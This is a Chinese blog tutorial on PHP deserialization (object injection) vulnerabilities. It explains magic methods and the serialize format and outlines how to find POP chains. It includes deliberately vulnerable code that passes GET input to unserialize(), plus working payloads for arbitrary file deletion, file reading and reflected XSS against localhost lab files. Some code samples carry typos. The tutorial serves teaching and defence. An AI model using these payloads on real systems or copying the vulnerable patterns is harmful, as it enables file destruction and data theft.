PHP反序列化漏洞


目录

PHP反序列化漏洞

分为4个部分   

一、什么是反序列化?

二、为什么会产生这个漏洞?

漏洞发现技巧

构造exploit的思路

三、了解php对象概念以及php对象的一些简单特性

四、了解什么是php序列化以及序列化的一些格式

为什么要有序列化这种机制?

五、明白php对象注入的成因

六、常见的注入点以及防范方法

防范方法


PHP反序列化漏洞
 

分为4个部分:
    

    1. 什么是反序列化
    2. 为什么会产生PHP反序列化漏洞
    3. 了解php对象概念以及php对象magic函数的一些简单特性
    4. 了解什么是php序列化以及序列化的一些格式
    5. 了解php对象注入的成因
    6. 常见的注入点以及防范方法

一、什么是反序列化?

简介

          PHP反序列化漏洞也叫PHP对象注入,是一常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。

        漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果.反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

         在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象

 

参考链接:

http://www.hetianlab.com/expc.do?ce=4b69cfa0-0ee5-4148-9fbc-bb702c6a2617

 

其它不错的PHP反序列化,文章链接:

1、最通俗易懂的PHP反序列化原理分析

https://www.freebuf.com/articles/web/167721.html

2、由Typecho 深入理解PHP反序列化漏洞

https://www.freebuf.com/column/161798.html

3、Typecho install.php 反序列化导致任意代码执行

https://p0sec.net/index.php/archives/114/

4、HP反序列化漏洞成因及漏洞挖掘技巧与案例

https://www.anquanke.com/post/id/84922

 

二、为什么会产生这个漏洞?

那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?

这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:


 
 
  1. __construct()当一个对象创建时被调用
  2. __destruct()当一个对象销毁时被调用
  3. __toString()当一个对象被当作一个字符串使用
  4. __sleep() 在对象在被序列化之前运行
  5. __wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

举个别人的例子:

这里我们只要构造payload:

http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}

就能控制echo出的变量,比如你能拿这个来进行反射型xss。

 

漏洞发现技巧

默认情况下  Composer 会从  Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路.

1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.

2.追踪调用过程

3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit.

 

构造exploit的思路

1.寻找可能存在漏洞的应用

2.在他所使用的库中寻找 POP gadgets

3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload

4.将序列化之后的payload发送到有漏洞web应用中进行测试.

 

三、了解php对象概念以及php对象的一些简单特性

    下面创建一个简单的php对象


 
 
  1. <?php
  2. class TestClass
  3. {
  4. // 一个变量
  5. public $variable = 'This is a string';
  6. // 一个筒单的方法
  7. public function PrintVariable()
  8. {
  9. echo $this->variable;
  10. }
  11. }
  12. //创建一个对象
  13. $object = new TestClass();
  14. //调用一个方法
  15. $object->PrintVariable();
  16. ?>

  访问http://localhost/test01.php

 

Php对象中有一些特殊的函数,叫做magic函数,他们在特定条件下执行,比如创建、销毁对象的时候

    为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中


 
 
  1. <?php
  2. class TestClass
  3. {
  4. // 一个变量
  5. public $variable = 'This is a string';
  6. // 一个简单的方法
  7. public function PrintVariable()
  8. {
  9. echo $this->variable . '<br />';
  10. }
  11. // Constructor
  12. public function __construct()
  13. {
  14. echo '__construct <br />';
  15. }
  16. // Destructor
  17. public function __destruct()
  18. {
  19. echo '__destruct <br />';
  20. }
  21. //Call
  22. public function __toString()
  23. {
  24. return '__toString<br />';
  25. }}
  26. //创建一个对象
  27. // _construct会被调用
  28. $object = new TestClass();
  29. //创建一个方法 _
  30. // 'This is a string’这玩意会被输出
  31. $object->PrintVariable();
  32. //对象被当作一个字符串
  33. // _toString会被调用
  34. echo $object;
  35. // End of PHP script
  36. // php脚本要结束了,__destruct会被调用
  37. ?>

 访问http://localhost/test02.php

 从返回结果看,这几个magic函数依次被调用了

 

四、了解什么是php序列化以及序列化的一些格式

为什么要有序列化这种机制?

    在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本的调用?这肯定是不现实的。

    serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。

    如果你不是很明白,那么就记住,通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数

    下面通过一个列子查看php对象序列化之后的格式


 
 
  1. <?php
  2. // 某类
  3. class User
  4. {
  5. // 类数据
  6. public $age = 0;
  7. public $name = '';
  8. // 输出数据
  9. public function PrintData()
  10. {
  11. echo 'User ' . $this->name . 'is' . $this->age
  12. . ' years old. <br />';
  13. }
  14. }
  15. // 创建一个对象
  16. $usr = new User();
  17. // 设置数据
  18. $usr->age = 20;
  19. $usr->name = 'John'
  20. // 输出数据
  21. $usr->PrintData();
  22. // 输出序列化之后的数据
  23. echo serialize($usr);
  24. ?>

访问http://localhost/test03.php

    O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 就是对象user序列化之后的形式

    •   O表示是对象,4 表示 对象名长度为4,user为对象名

    •   2表示有两个参数,{} 里面是参数的key和value

    •   S 表示是string对象,3 表示长度,age是key

    •   i 表示是integer对象,20是value

    •   对php对象进行反序列化


 
 
  1. <?php
  2. // 某类
  3. class User
  4. {
  5. // Class data
  6. public $age = 0;
  7. public $name = '';
  8. // Print data
  9. public function PrintData()
  10. {
  11. echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
  12. }
  13. }
  14. // 重建对象
  15. $usr = unserialize( '0:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
  16. // 调用PrintData输出数据
  17. $usr->PrintData();
  18. ?>

    访问http://localhost/test04.php

 可以看到,成功的进行了反序列化并输出了usr对象的参数age和name的值

 

五、明白php对象注入的成因

    跟serialize和unserialize相关的一些magic函数

    在实验任务2中,我们了解到magic函数是php对象的特殊的函数,在某些特殊情况下会被调用。这些特殊情况当然也包含serialize和unserialize。

    __sleep magic方法在一个对象被序列化的时候调用。

    __wakeup magic方法在一个对象被反序列化的时候调用。

    下面我们做一个实验


 
 
  1. <?php
  2. class Test
  3. {
  4. public $variable = 'BUZZ';
  5. public $variable2 = 'OTHER';
  6. public function PrintVariable()
  7. {
  8. echo $this->variable . '<br />';
  9. }
  10. public function __construct()
  11. {
  12. echo '__construct<br />';
  13. }
  14. public function __destruct()
  15. {
  16. echo '__destruct<br />';
  17. }
  18. public function __wakeup()
  19. {
  20. echo '__wakeup<br />';
  21. }
  22. public function __sleep()
  23. {
  24. echo '__sleep<br />';
  25. return array( 'variable', 'variable2');
  26. }
  27. }
  28. //创建一个对象,会调用__construct
  29. $obj = new Test();
  30. //序列化一个对象,会调用__sleep
  31. $serialized = serialize($obj);
  32. //输出序列化后的字符串
  33. print 'Serialized: ' . $serialized . '<br />';
  34. //重建对象,会调用__wakeup
  35. $obj2 = unserialize($serialized);
  36. //调用PintVariable,会输出数据(BUZZ)
  37. $obj2->PrintVariable();
  38. // php脚本结朿,会调用__destruct
  39. ?>

  访问http://localhost/test05.php

 可以看到serialize的时候调用了__sleep,unserialize的时候调用了__wakeup函数,在对象销毁的时候调用了__destruct函数

    举个存在漏洞栗子。一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除


 
 
  1. <?php
  2. class LogFile
  3. {
  4. // log文件名
  5. public $filename = 'error.log';
  6. // 某代码,储存日志进文件
  7. public function LogData ($text)
  8. {
  9. echo 'Log some data:' . $text . '<br/>';
  10. file put contents( $this->filename, $text, FILE_APPEND);
  11. }
  12. // Destructor删除日志文件
  13. public function destructo
  14. {
  15. echo '__destruct deletes " ' . $this->filename . ' " file. <br/>';
  16. unlink(dirname( __FILE__) . '/' . $this->filename);
  17. }
  18. }
  19. ?>

  调用这个类:


 
 
  1. <?php
  2. include ' logfile. php';
  3. // ....一些狗日的代码和 LogFile类....
  4. //简单的类定义
  5. class User
  6. {
  7. //类数据
  8. public $age = 0;
  9. public $name = '';
  10. //输出数据
  11. public function PrintDatao()
  12. {
  13. echo 'User '. $this->name . 'is' $this->age . ' years old. <br />';
  14. }
  15. }
  16. //重建用户输入的数据
  17. $usr = unserialize($_GET[ 'usr_serialized']);
  18. ?>

我们看到

    $usr = unserialize($_GET['usr_serialized']);

    $_GET['usr_serialized']是可控的,那么我们就可以构造输入删除任意文件

    构造输入删除目录下的1.php文件

    访问http://localhost/1.php

 访问http://localhost/exp/test07.php


 
 
  1. <?php
  2. include '../logfile.php';
  3. $obj = new LogFile();
  4. $obj->fi1ename = '1.php';
  5. echo serialize($obj). '<br/>';
  6. ?>

 得到序列化之后的字符串O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

    访问http://localhost/test06.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

    得到

    再次访问http://localhost/1.php

 

六、常见的注入点以及防范方法

    在三(明白php对象注入的成因)中,展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都是取决于程序逻辑。

    打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。


 
 
  1. <?php
  2. //...一些 include...
  3. Class Fileclass
  4. {
  5. //文件名
  6. public $filename = 'error.log';
  7. //当对象被作为一个字符串会读取这个文件
  8. public function __toString()
  9. {
  10. return file_get_contents( $this->filename);
  11. }
  12. }
  13. // Main User class
  14. class User
  15. {
  16. //Class data
  17. public $age = 0;
  18. public $name = '';
  19. //允许对象作为一个字符串输出上面的data
  20. public function __toString()
  21. {
  22. return 'User ' . $this->name . ' is ' . $this->age .old. '<br />';
  23. }
  24. }
  25. //用户可控
  26. $obj =unserialize($_GET[ 'usr_serialized']);
  27. //输出 __toString
  28. echo $obj;
  29. ?>

    获取exp

    访问http://localhost/exp/test08.php

  触发漏洞,获取1.txt内容

    访问http://localhost/test09.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

防范方法

Unserialize漏洞依赖几个条件

    1)unserialize函数的参数可控

    2)脚本中存在一个构造函数、析构函数、__wakeup()函数中有向php文件中写数据的操作的类

    3)所写的内容需要有对象中的成员变量的值

防范方法有:

    1)要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则

    2)要对于unserialize后的变量内容进行检查,以确定内容没有被污染


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值